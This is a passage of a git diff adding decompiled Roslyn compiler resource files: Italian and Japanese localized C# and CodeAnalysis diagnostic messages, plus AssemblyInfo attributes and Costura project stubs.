tipo struct restituisce sempre 'false' + L'attributo RequiredAttribute non è consentito per i tipi C# + Sono consentite solo 65534 variabili locali, incluse quelle generate dal compilatore + Un campo volatile non deve in genere essere usato come valore out o ref dal momento che non verrà considerato come volatile. Esistono eccezioni a questo comportamento, ad esempio quando si chiama un'API con interlock. + Il supporto dei valori Null dei tipi riferimento nel tipo non corrisponde al membro di cui è stato eseguito l'override. + Non è possibile incorporare il tipo di interoperabilità '{0}' trovato negli assembly '{1}' e '{2}'. Provare a impostare la proprietà 'Incorpora tipi di interoperabilità' su False. + il percorso è troppo lungo o non è valido + 'Il tipo restituito di '{1} {0}' è errato + Il membro deve avere un valore non Null quando viene terminato in determinate condizioni. + Il supporto dei valori Null dei tipi riferimento nel tipo di parametro '{0}' non corrisponde al membro implementato '{1}'. + Il tipo non implementa il modello di raccolta. La firma del membro è errata + principale asincrono + Il membro '{0}' non è stato trovato nel tipo '{1}' dell'assembly '{2}'. + Il tag finale non era previsto in questa posizione. + '{1}' non può derivare dalla classe statica '{0}' + I metodi attribuiti con 'UnmanagedCallersOnly' non possono avere parametri di tipo generico e non possono essere dichiarati in un tipo generico. + L'accesso a un membro di '{0}' potrebbe causare un'eccezione in fase di esecuzione perché è un campo di una classe con marshalling per riferimento + È prevista l'espressione + L'accesso a Friend è stato concesso da '{0}', ma la chiave pubblica dell'assembly di output ('{1}') non corrisponde a quella specificata dall'attributo InternalsVisibleTo nell'assembly che ha concesso l'accesso. + '{0}' è un tipo non supportato dal linguaggio + Il metodo '{0}' dell'inizializzatore di modulo deve essere statico e non virtuale, non deve contenere parametri e deve restituire 'void' + Il metodo '{0}' con un blocco iteratore deve essere 'async' per restituire '{1}' + L'espressione deve essere convertibile in modo implicito in un valore booleano oppure il relativo tipo '{0}' deve definire l'operatore '{1}'. + L'oggetto non può essere eliminato più di una volta + CallerMemberNameAttribute applicato al parametro '{0}' non avrà alcun effetto. CallerLineNumberAttribute ne eseguirà l'override. + Il riferimento all'assembly non è valido e non può essere risolto + Il tipo di parametro per l'operatore ++ o -- deve essere il tipo che lo contiene + Utilizzo della proprietà implementata automaticamente probabilmente non assegnata '{0}'. Provare a eseguire l'aggiornamento alla versione del linguaggio '{1}' per impostare automaticamente la proprietà come predefinita. + Conversione del valore letterale Null o di un possibile valore Null in un tipo che non ammette i valori Null. + Non sono stati trovati valori per RuntimeMetadataVersion + È necessario un riferimento all'oggetto per la proprietà, il metodo o il campo non statico '{0}' + Non è possibile restituire per riferimento un membro del parametro '{0}' tramite un parametro ref; può essere restituito solo in un'istruzione return + Il tipo o il membro non può essere contrassegnato come conforme a CLS perché l'assembly non ha un attributo CLSCompliant + L'attributo AsyncMethodBuilder non è consentito in metodi anonimi senza un tipo restituito esplicito. + Conversione del gruppo di metodi in un tipo non delegato + '{0}': il tipo restituito deve essere '{2}' in modo che corrisponda al membro '{1}' sottoposto a override + Non è possibile usare una variabile using direttamente in una sezione di switch; provare a usare le parentesi graffe. + L'invio può avere al massimo un albero della sintassi. + Nessun overload per '{0}' corrisponde al delegato '{1}' + L'identificatore '{0}' è ambiguo tra il tipo '{1}' e il parametro '{2}'. + Il tipo non è valido per il parametro nell'attributo cref del commento XML + Il nome '{0}' non identifica l'elemento di tupla '{1}'. + Impossibile specificare l'attributo DefaultMember in un tipo contenente un indicizzatore + Il livello di avviso deve essere maggiore o uguale a zero + indicizzatore con corpo di espressione + La funzione locale '{0}' deve dichiarare un corpo perché non è contrassegnata come 'static extern'. + Il parametro {0} ha il valore predefinito '{1:10}' nell'espressione lambda ma '{2:10}' nel tipo delegato di destinazione. + '{0}': non è possibile derivare dal tipo dinamico + Il metodo parziale '{0}' deve contenere modificatori di accessibilità perché include un tipo restituito non void. + Un'espressione lambda dell'albero delle espressioni non può contenere un operatore di coalescenza con un valore letterale Null o predefinito nella parte sinistra + '{0}': il tipo usato in un'istruzione using asincrona deve essere convertibile in modo implicito in 'System.IAsyncDisposable' o implementare un metodo 'DisposeAsync' adatto. + Errore di sintassi. È previsto '{0}' + '{2}' non è in grado di soddisfare il vincolo 'new()' sul parametro '{1}' nel tipo generico o nel metodo '{0}' perché '{2}' contiene membri obbligatori. + L'espressione switch non gestisce alcuni valori del relativo tipo di input (non è esaustiva) che interessa un valore di enumerazione senza nome. Ad esempio, il criterio '{0}' non è coperto. + Non è possibile usare l'argomento di tipo '{0}' per il parametro '{2}' di tipo '{1}' in '{3}' a causa delle differenze nel supporto dei valori Null dei tipi riferimento. + Non è una posizione di attributo riconosciuta + L'uso del risultato di '{0}' in questo contesto può esporre variabili a cui fa riferimento il parametro '{1}' all'esterno del relativo ambito di dichiarazione + L'inizializzatore di elementi non può essere vuoto + La chiamata a un membro '{0}' non readonly da un membro 'readonly' comporta una copia esplicita di '{1}'. + Il tipo dell'espressione nella clausola {0} non è corretto. L'inferenza del tipo non è riuscita nella chiamata a '{1}'. + filtro eccezioni + Almeno un'istruzione di primo livello deve essere non vuota. + Le dichiarazioni di metodo parziali di '{0}' contengono vincoli incoerenti per il parametro di tipo '{1}' + \ No newline at end of file diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/costura.it.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/costura.it.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.csharp.resources/costura.it.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.it.resx b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.it.resx new file mode 100644 index 0000000..9828e1c --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.it.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + è previsto un elemento + L'immagine PE non è disponibile. + La dimensione del token di chiave pubblica non è valida. + Il file aggiuntivo non appartiene all'oggetto 'CompilationWithAnalyzers' sottostante. + Più file di configurazione dell'analizzatore globale impostano la stessa chiave '{0}' nella sezione '{1}'. L'impostazione è stata annullata. La chiave è stata impostata dai file seguenti: '{2}' + Il percorso temporaneo per la firma dei file legacy non è disponibile. + evento + L'assembly che contiene il tipo '{0}' fa riferimento a .NET Framework, che non è supportato. + Riferimento all'assembly: '{0}' + Concede IVT all'assembly corrente: {1} + Concede IVT a: + L'analizzatore '{0}' contiene un descrittore Null nel relativo elemento 'SupportedDiagnostics'. + Il parametro '{0}' deve essere un simbolo di questa compilazione oppure un qualsiasi assembly cui viene fatto riferimento. + Versioni incoerenti del linguaggio + Il resolver di riferimenti deve restituire un flusso non Null leggibile. + Opzioni di compilazione non valide. Non è possibile firmare l'invio. + Una chiave in pathMap è vuota. + Gravità non valida nel file di configurazione dell'analizzatore. + Il file del set di regole contiene regole duplicate per '{0}' con azioni '{1}' e '{2}' diverse. + il tipo deve essere una sottoclasse di SyntaxAnnotation. + Il valore è troppo grande per essere rappresentato come intero senza segno a 30 bit. + Non è possibile creare l'alias di un modulo. + Caratteri non validi nel nome delle impostazioni cultura dell'assembly + modulo + metodo + Il writer PDB di Windows non supporta la compilazione deterministica: '{0}' + Analizzatore + Il parametro '{0}' deve essere un elemento 'INamedTypeSymbol' o 'IAssemblySymbol'. + Per disabilitare questo analizzatore, eliminare la diagnostica seguente: {0} + classe + Avviso: non è stato possibile abilitare JIT multicore a causa dell'eccezione {0}. + I testi incorporati sono supportati solo quando si crea un file PDB. + Non è possibile usare la copia del modulo per creare i metadati di un assembly. + Il nome della sezione '{0}' di configurazione dell'analizzatore globale non è valido perché non è un percorso assoluto. La sezione verrà ignorata. La sezione è stata dichiarata nel file: '{1}' + Il formato del flusso dell'icona non è corretto. + Alla diagnostica ' {0}' è stato assegnato un livello di gravità non valido '{1}' nel file di configurazione dell'analizzatore alla posizione '{2}'. + Nome assembly: '{0}' + Chiavi pubbliche: + Il file non è stato trovato. + Il valore {1} dell'attributo {0} non è valido. + Le risorse Win32, che dovrebbero essere nel formato oggetto COFF, hanno una dimensione di sezione non valida. + L'elemento SourceText con hintName '{0}' deve avere una codifica esplicita impostata. + Il formato del file di risorse non è riconosciuto. + parametro + proprietà, indicizzatore + Nell'elemento {0} manca un attributo denominato {1}. + Non è stato trovato nessun elemento MetadataReference '{0}' da rimuovere. + È stato specificato un nome di modulo non valido nel modulo dei metadati '{0}': '{1}' + Il nome contiene caratteri non validi. + Non è possibile specificare un nome di linguaggio per questa opzione. + È consigliabile non specificare il flusso PDB quando si incorpora PDB nel flusso PE. + Niente + È consigliabile non specificare il flusso PDB quando si creano solo metadati. + L'elemento hintName '{0}' contiene un carattere non valido '{1}' alla posizione {2}. + Errore del driver dell'analizzatore + Più file di configurazione dell'analizzatore globale impostano la stessa chiave. L'impostazione è stata annullata. + Deve includere membri privati a meno che non si stia creando un assembly di riferimento. + Gli argomenti dell'opzione '/keepalive' il cui valore è inferiore a -1 non sono validi. + L'operazione specificata contiene un elemento padre non Null. + Il nome della sezione di configurazione dell'analizzatore globale non è valido perché non è un percorso assoluto. La sezione verrà ignorata. + È previsto il percorso assoluto. + Dati non validi in corrispondenza dell'offset {0}: {1}{2}*{3}{4} + Non è possibile determinare la causa specifica dell'errore. + I riferimenti ai documenti XML non sono supportati. + Il flusso è troppo lungo. + Il tipo restituito non può essere un tipo valore, un puntatore, un tipo generico open o by-ref + Il tipo sottostante di una tupla deve essere compatibile con la tupla. + Si è verificata un'eccezione con il contesto seguente: +{0} + Il tipo '{0}' non è riconosciuto dal binder di serializzazioni. + Funzionalità incoerenti dell'albero della sintassi + Non è possibile incorporare tipi di interoperabilità dal modulo. + Non è possibile incorporare SourceText. Specificare la codifica oppure canBeEmbedded=true in fase di costruzione. + Il flusso contiene dati non validi + Tempo (s) + Il modulo contiene attributi non validi. + L'albero sintattico non appartiene all'elemento 'Compilation' sottostante. + Hash non valido. + 'L'opzione '/keepalive' è valida solo con l'opzione '/shared'. + È consigliabile non usare membri privati di inclusione quando si crea l'output secondario dell'assembly. + Stampa delle informazioni 'InternalsVisibleToAttribute' per la compilazione corrente e tutti gli assembly di riferimento. + Il percorso restituito da {0}.ResolveStrongNameKeyFile deve essere assoluto: '{1}' + Non è stato possibile individuare il file del set di regole '{0}'. + La firma dell'assembly non è supportata. + Il percorso di origine '{1}' della diagnostica restituita '{0}' è incluso nel file '{2}', che non è presente nel file specificato. + Il nodo da tracciare non è un discendente della radice. + Il blocco operazioni specificato non appartiene al contesto di analisi corrente. + L'elemento specificato non è l'elemento di un elenco. + delegato + Non è possibile scrivere nel flusso. + Il valore dell'argomento '/shared:' non deve essere vuoto + Il numero di valori letto dal lettore di deserializzazioni per '{0}' non è corretto. + L'analizzatore '{0}' contiene un descrittore Null nel relativo elemento 'SupportedSuppressions'. + Non è possibile creare un riferimento a un invio. + Il percorso restituito da {0}.ResolveMetadataFile deve essere assoluto: '{1}' + Non risolto: + L'argomento dell'opzione '/keepalive' non è un intero a 32 bit. + L'elemento span non include l'inizio di una riga. + Non è possibile creare un riferimento dei metadati a un assembly senza percorso. + Il nome delle impostazioni cultura '{0}' non è valido + Il tipo di strumentazione non è valido: {0} + Le tuple devono contenere almeno due elementi. + Le modifiche devono essere ordinate e non sovrapposte. + Il server del compilatore Roslyn restituisce una versione del protocollo diversa da quella dell'attività di compilazione. + Tempo totale di esecuzione dell'analizzatore: {0} secondi. + Le opzioni di compilazione non devono contenere errori. + Non è possibile serializzare il tipo '{0}'. + È consigliabile non specificare il flusso PE dei metadati quando si creano solo metadati. + Nome di risorsa vuoto o non valido + Il tipo restituito non può essere nullo, un tipo generico open o by-ref + Il writer PDB di Windows non supporta la funzionalità SourceLink: '{0}' + Token di chiave pubblica non valido. + La diagnostica '{0}: {1}' è stata eliminata a livello di codice da un elemento DiagnosticSuppressor con ID eliminazione '{2}' e giustificazione '{3}' + Manca l'argomento per l'opzione '/keepalive'. + <modulo in memoria> + Generatore + L'operazione specificata contiene un modello semantico Null. + La versione del writer PDB di Windows è meno recente di quella richiesta: '{0}' + Un nodo o token è fuori sequenza. + L'incorporamento di PDB non è consentito quando si creano metadati. + Non è possibile creare un riferimento dei metadati a un assembly dinamico. + L'ID diagnostica '{0}' eliminato non corrisponde all'ID eliminabile '{1}' per il descrittore di eliminazione specificato. + Le risorse Win32, che dovrebbero essere nel formato oggetto COFF, hanno uno o più valori di simbolo non validi. + Il flusso deve supportare operazioni di lettura e ricerca. + enumerazione + Il percorso di origine della diagnostica restituita '{0}' è incluso nel file '{1}', che non fa parte della compilazione da analizzare. + campo + Il nome non può essere vuoto. + Tempo totale di esecuzione del generatore: {0} secondi. + Nelle risorse Win32, che dovrebbero essere nel formato oggetto COFF, mancano una o entrambe le sezioni '.rsrc$01' e '.rsrc$02' + Se si specificano nomi di elementi di tupla, il numero dei nomi di elementi deve corrispondere alla cardinalità della tupla. + Modifica e Continua non sono in grado di riprendere l'enumeratore sospeso perché l'istruzione yield return corrispondente è stata eliminata + Il tipo di contenuto non è valido + {0}.GetMetadata() deve restituire un'istanza di {1}. + L'ID della diagnostica restituita è '{0}', che non è un identificatore valido. + Non è possibile creare un riferimento del modulo a un assembly. + Se si specificano annotazioni nullable di elementi di tupla, il numero delle annotazioni deve corrispondere alla cardinalità della tupla. + L'argomento contiene istanze duplicate dell'analizzatore. + Il nome non può iniziare con uno spazio vuoto. + Non è possibile serializzare le matrice con più di una dimensione. + La modifica della versione di un riferimento ad assembly durante il debug non è consentita: '{0}' ha modificato la versione in '{1}'. + La diagnostica restituita con ID '{0}' non è supportata dall'analizzatore. + È necessario specificare un nome di linguaggio per questa opzione. + È previsto un simbolo di metodo + Il tipo di output non è supportato. + è previsto il separatore + Un nodo nell'elenco non è del tipo previsto. + L'elemento hintName '{0}' contiene un segmento non valido '{1}' alla posizione {2}. + {0} deve essere 'default' o avere la stessa lunghezza di {1}. + Il nome non può essere Null. + Le modifiche devono rientrare nei limiti di SourceText + L'algoritmo hash non è supportato. + Il provider di flusso della risorsa deve restituire un flusso non Null. + Non è possibile ridefinire la destinazione dell'identità WindowsRuntime + L'argomento contiene un'istanza dell'analizzatore che non appartiene all'elemento 'Analyzers' per questa istanza di CompilationWithAnalyzers. + Non è possibile impostare come destinazione il modulo quando si crea l'assembly di riferimento. + Non è possibile deserializzare il tipo '{0}'. + Il flusso deve essere leggibile. + interfaccia + Le risorse Win32, che dovrebbero essere nel formato oggetto COFF, hanno uno o più valori di intestazione di rilocazione non validi. + L'analizzatore '{0}' ha generato un'eccezione di tipo '{1}'. Messaggio: '{2}'. +{3} + <assembly in memoria> + {0} e {1} devono avere la stessa lunghezza. + L'elemento hintName '{0}' del file di origine aggiunto deve essere univoco all'interno di un generatore. + Il nome di elemento di tupla non può essere una stringa vuota. + Il tipo di output per l'invio non è valido. È previsto DynamicallyLinkedLibrary. + L'ID di un elemento SuppressionDescriptor non deve essere Null, né una stringa vuota o una stringa composta solo da spazi vuoti. + Il flusso deve essere scrivibile. + Il nome dell'assembly '{0}' non è valido + L'alias non è valido. + costruttore + Non sono stati trovati analizzatori + L'assembly deve contenere almeno un modulo. + Modifica e Continua non sono in grado di riprendere il metodo asincrono sospeso perché l'espressione await corrispondente è stata eliminata + Il provider di dati della risorsa deve restituire un flusso non Null + Non è possibile eliminare la diagnostica non restituita con ID '{0}'. + Il flusso della risorsa è terminato a {0} byte, mentre era previsto a {1} byte. + L'immagine PE non contiene metadati gestiti. + Nome di file vuoto o non valido + valore restituito + Il driver dell'analizzatore ha generato un'eccezione di tipo '{0}' con il messaggio '{1}'. +{2} + Le dimensioni del file superano quelle massime consentite per un file di metadati valido. + L'elemento span non include la fine di una riga. + L'invio precedente contiene errori. + La compilazione fa riferimento a più assembly le cui versioni differiscono solo nei numeri di revisione e/o di build generati automaticamente. + Eliminazione a livello di codice di una diagnostica dell'analizzatore + Il file di assembly non è stato trovato + Chiave pubblica non valida. + Non è possibile leggere dal flusso. + Il riferimento di tipo '{0}' non è valido per questa compilazione. + Il numero di riga richiesto {0} deve essere minore del numero di righe {1}. + L'ID di un elemento DiagnosticDescriptor non deve essere Null, né una stringa vuota o una stringa composta solo da spazi vuoti. + L'eliminazione restituita con ID '{0}' non è supportata dall'elemento di eliminazione. + L'operazione specificata non deve essere inclusa in un grafico del flusso di controllo. + È possibile registrare solo un tipo {0} per generatore. + Il tipo deve essere uguale al tipo di oggetto host dell'invio precedente. + Se si specificano percorsi di elementi di tupla, il numero dei percorsi deve corrispondere alla cardinalità della tupla. + Assembly corrente: '{0}' + '{0}' non era un nome di operatore predefinito valido + Operatore predefinito non supportato: {0} + Nome dell'operatore predefinito '{0}' non valido + il valore di 'end' non deve essere minore di quello di 'start'. start='{0}' end='{1}'. + Non è possibile creare un riferimento a un modulo. + Errore dell'analizzatore + È prevista una chiave pubblica non vuota + Si è verificato un errore durante il caricamento del file del set di regole incluso {0} - {1} + Caratteri non validi nel nome dell'assembly + NOTE: il tempo trascorso può essere inferiore al tempo di esecuzione dell'analizzatore perché non è possibile eseguire gli analizzatori simultaneamente. + L'argomento non può contenere un elemento Null. + L'argomento non può essere vuoto. + assembly + parametro di tipo + 'start' non deve essere negativo + Il valore delle dimensioni deve essere positivo. + Un valore in pathMap è Null. + \ No newline at end of file diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.it.resx b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.it.resx new file mode 100644 index 0000000..bf5af20 --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.it.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Il limite inferiore della matrice di destinazione deve essere zero. + Il tipo di matrice di destinazione non è compatibile con il tipo di elementi della raccolta. + La raccolta è a dimensione fissa. + La raccolta è stata modificata. L'operazione di enumerazione potrebbe non essere eseguita. + Il valore del numero è minore del limite inferiore della matrice nella prima dimensione. + La lunghezza della matrice di destinazione non è sufficiente per copiare tutti gli elementi della raccolta. Controllare l'indice e la lunghezza della matrice. + Non è stato possibile confrontare due elementi nella matrice. + È stato già aggiunto un elemento con la stessa chiave. Chiave: {0} + Le matrici specificate devono avere lo stesso numero di dimensioni. + Offset e lunghezza eccedono i limiti della matrice oppure il conteggio è maggiore del numero di elementi presenti dall'indice alla fine della raccolta di origine. + Impossibile eseguire l'ordinamento. Il metodo IComparer.Compare() restituisce risultati incoerenti. Un valore non viene confrontato uguale a se stesso oppure un valore confrontato ripetutamente con un altro valore restituisce risultati diversi. IComparer: '{0}'. + Il contatore deve avere valore positivo e fare riferimento a una posizione all'interno della stringa, della matrice o della raccolta. + Indice non compreso nell'intervallo consentito. Deve essere non negativo e minore della dimensione della raccolta. + L'oggetto non è una matrice con lo stesso numero di elementi della matrice a cui confrontarlo. + capacità inferiore alla dimensione corrente. + Per l'azione richiesta sono supportate solo matrici unidimensionali. + Impossibile cambiare una raccolta di valori derivata da un dizionario. + Più grande della dimensione della raccolta. + L'indice deve essere compreso nei limiti dell'elenco. + È richiesto un numero non negativo. + Non è possibile trovare il valore precedente + Le operazioni che modificano raccolte non simultanee devono avere accesso esclusivo. Un aggiornamento simultaneo eseguito su questa raccolta ne ha danneggiato lo stato. Lo stato della raccolta non è più corretto. + La chiave specificata '{0}' non è presente nel dizionario. + Impossibile cambiare una raccolta di chiavi derivata da un dizionario. + Lunghezza della matrice di destinazione insufficiente. Controllare l'indice di destinazione, la lunghezza e i limiti inferiori della matrice. + Overflow capacità hashtable. Il valore è diventato negativo. Controllare la capacità, il fattore di carico e la dimensione corrente della tabella. + Lunghezza della matrice di origine insufficiente. Controllare l'indice di origine, la lunghezza e i limiti inferiori della matrice. + Il valore "{0}" non è di tipo "{1}" e non può essere utilizzato in questa raccolta generica. + Enumerazione non avviata o già terminata. + \ No newline at end of file diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/it.microsoft.codeanalysis.resources/costura.it.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/it.microsoft.codeanalysis.resources/costura.it.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/it.microsoft.codeanalysis.resources/costura.it.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ja.resx b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ja.resx new file mode 100644 index 0000000..0f750ed --- /dev/null +++ b/decompiled/Libraries/ja.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.ja.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089ソースのない出力には、/out オプションを指定しなければなりません + 定数 0 による除算です + 型およびエイリアスに 'record' という名前を指定することはできません。 + '{0}' は有効な名前付き属性引数ではありません。属性パラメーター型が有効ではありません + XML コメントの XML 形式が正しくありません + new()' 制約は 'unmanaged' 制約と一緒には使用できません + ReflectionTypeLoadException ({1}) のため、アナライザー アセンブリ {0} の一部の型をスキップしています。 + フィールドが割り当てられていますが、値は使用されていません + レコード + 式ツリーは、代入演算子を含むことはできません + 動的な式のコンパイルに必要な 1 つ以上の型が見つかりません。参照が指定されていることを確認してください。 + '{0}' は旧形式です ('{1}') + 条件付き属性は、コンストラクター、デストラクター、演算子、ラムダ式、明示的インターフェイスのいずれかの実装であるため、'{0}' では無効です + 読み取り専用型のプライマリ コンストラクター パラメーター '{0}' のメンバーを書き込み可能な参照で返すことはできません + スライス パターンは、1 回限り、リスト パターン内で直接使用される可能性があります。 + 無効なモジュール名: {0} + インターフェイスは既にインターフェイス リストに存在しますが、参照型の Null 許容性が異なっています。 + '{0}': 基本データ型との間におけるユーザー定義の変換は許可されていません + '{0}': 式から型を参照することはできません。'{1}' を使用してください + コンパイラ バージョン: '{0}'。言語バージョン: {1}。 + 反復子 + モジュールの /win32manifest は、アセンブリにのみ適用されるため、無視されます + コード ページ '{0}' は無効か、インストールされていません + 旧形式のメンバー '{0}' は、旧形式でないメンバー '{1}' をオーバーライドします + 文字列リテラルに終わりの引用符がありません。 + スローされた値が null である可能性があります。 + 割り当てられていない可能性のある自動実装プロパティ '{0}' を使用しています。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + '{0}' は null 許容にすることはできません。 + using 宣言 + ターゲット ランタイムは、既定のインターフェイスの実装をサポートしていません。 + ユーザーによりコンパイルが取り消されました + メタデータ参照はサポートされていません。 + クエリ本体の後には select 句または group 句が必要です + 指定された式は指定されたパターンと絶対に一致しません。 + 'init' アクセサーを 'readonly' としてマークできません。代わりに '{0}' を readonly としてマークします。 + '&' 演算子は、非同期メソッドのパラメーターまたはローカル変数では使用できません。 + switch ステートメントに、ラベル値が '{0}' の case が複数含まれています + 識別子が必要です。'{1}' はキーワードです + '{0}' の値 '{1}' は無効です。 + 型パラメーター '{0}' は、外のメソッドからの型パラメーター '{1}' と同じ名前です + 式ツリーは、アンセーフ ポインター操作を含むことはできません + エンティティ参照内に無効な文字が見つかりました。 + 式ツリーのラムダは、可変引数があるメソッドを含むことはできません + コマンド ライン スイッチはまだ実装されていません + コンパイラは、変数を暗黙に拡張し、符号拡張してから、ビットごとの OR 演算の結果の値を使用しました。これにより、予期しない動作が発生することがあります。 + * または -> 演算子はポインターに対して使用してください + 前処理シンボルの名前が無効です。'{0}' は有効な識別子ではありません + 演算子 '{0}' を '{1}' と '{2}' 型のオペランドに適用することはできません + ネイティブサイズの整数 + 型は CLS に準拠していない型のメンバーになっているため、CLS 準拠として設定できません + CallerMemberNameAttribute は効果がなく、CallerLineNumberAttribute によってオーバーライドされます + {0} '{1}' のメンバーは読み取り専用の変数であるため、書き込み可能な参照によって返すことはできません + パラメーター '{0}' に適用された InterpolatedStringHandlerArgumentAttribute の形式が正しくないため、解釈できません。'{1}' のインスタンスを手動で構築してください。 + 与えられた行の長さは '{0}' 文字で、指定された文字数 '{1}' に達していません。 + '{0}' は abstract に指定されているため本体を宣言できません + アクセシビリティに一貫性がありません。イベント型 '{1}' のアクセシビリティはイベント '{0}' よりも低く設定されています + メンバー '{0}' は古い形式のメンバー '{1}' をオーバーライドします。Obsolete 属性を '{0}' に追加してください。 + 到達できないコードが検出されました + アセンブリに CLSCompliant 属性がないため、型またはメンバーには CLSCompliant 属性は不要です + このコンテキストでは、プライマリ コンストラクター パラメーター '{0}' を使用できません。 + ソース型 '{0}' のクエリ パターンの実装が見つかりませんでした。'{1}' が見つかりません。範囲変数 '{2}' の型を明示的に指定してください。 + '{0}' は有効な警告番号ではありません + 型 '{3}' はジェネリック型またはメソッド '{0}' 内で型パラメーター '{2}' として使用できません。'{3}' から '{1}' への暗黙的な参照変換がありません。 + メソッド、演算子、またはアクセサーは external に設定されていて属性を持っていません + 補間された文字列ハンドラー メソッド '{0}' の形式が正しくありません。'void' または 'bool' を返すことはありません。 + この破棄パターンは switch ステートメントの case ラベルとして許可されていません。破棄パターンに 'case var _:' を使用するか、'_' という定数に'case @_:' をご使用ください。 + '{0}' の呼び出し規則は '{1}' と互換性がありません。 + オブジェクト作成では Null 許容参照型を使用できません。 + デストラクターの名前を型の名前と同じにしてください + コマンドライン構文エラー: '{0}' は、'{1}' オプションの有効な値ではありません。値は '{2}' の形式にする必要があります。 + '{0}' はインスタンス メソッドではありません。レシーバーを、補間された文字列ハンドラー引数にすることはできません。 + これは '{1}' を '{0}' に ref 割り当てしますが、'{1}' は return ステートメントを介してのみ現在のメソッドをエスケープできます。 + 範囲変数 '{0}' は out または ref パラメーターとして渡すことはできません + foreach ループでは繰り返し変数を宣言する必要があります。 + Null 合体演算子の中の非制約型パラメーター + static または extern に指定されているメソッドでは、DllImport 属性を指定する必要があります + 部分メソッド + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + 機能 '{0}' は C# 11.0 では使用できません。{1} 以上の言語バージョンをお使いください。 + 機能 '{0}' は C# 10.0 では使用できません。言語バージョン {1} 以上を使用してください。 + フィールド '{0}' が割り当てられていますが、値は使用されていません + finally 句の本体で生成することはできません + <namespace> + await' 演算子は、最初の 'from' 句の最初のコレクション式、または 'join' 句のコレクション式に含まれるクエリ式でのみ使用できます + パラメーター '{0}' に対して指定されている既定値は、省略可能な引数を許可しないコンテキストで使用されるメンバーに適用されるため無効となります + '{0}': 